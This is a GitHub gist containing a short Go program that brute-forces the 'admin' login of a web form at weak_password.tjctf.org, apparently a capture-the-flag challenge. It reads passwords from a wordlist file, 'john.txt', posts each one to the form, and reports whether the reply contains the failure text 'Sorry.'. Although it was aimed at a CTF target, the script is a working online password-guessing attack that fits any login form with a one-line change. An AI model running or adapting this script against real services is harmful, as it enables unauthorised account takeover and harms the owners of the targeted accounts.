Skip to content

Instantly share code, notes, and snippets.

@mkhan45
Created May 24, 2020 23:23
Show Gist options
  • Save mkhan45/5ad8d765cf8489e935483b527664e471 to your computer and use it in GitHub Desktop.
Save mkhan45/5ad8d765cf8489e935483b527664e471 to your computer and use it in GitHub Desktop.
package main
import (
"bufio"
"fmt"
"io/ioutil"
"net/http"
"net/url"
"os"
"strings"
"sync"
)
func makeReq(pass string, wg *sync.WaitGroup) {
defer wg.Done()
resp, err := http.PostForm("https://weak_password.tjctf.org/login", url.Values{
"username": {"admin"},
"password": {pass},
})
if err != nil {
fmt.Printf("Error: %s", err)
}
defer resp.Body.Close()
retStr, err := ioutil.ReadAll(resp.Body)
fmt.Printf("password: %s, %t\n", pass, strings.Contains(string(retStr), "Sorry."))
}
func main() {
f, _ := os.Open("john.txt")
var pass string = ""
var wg sync.WaitGroup
scanner := bufio.NewScanner(f)
for scanner.Scan() {
wg.Add(1)
pass = scanner.Text()
makeReq(pass, &wg)
}
wg.Wait()
fmt.Println("Completed")
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment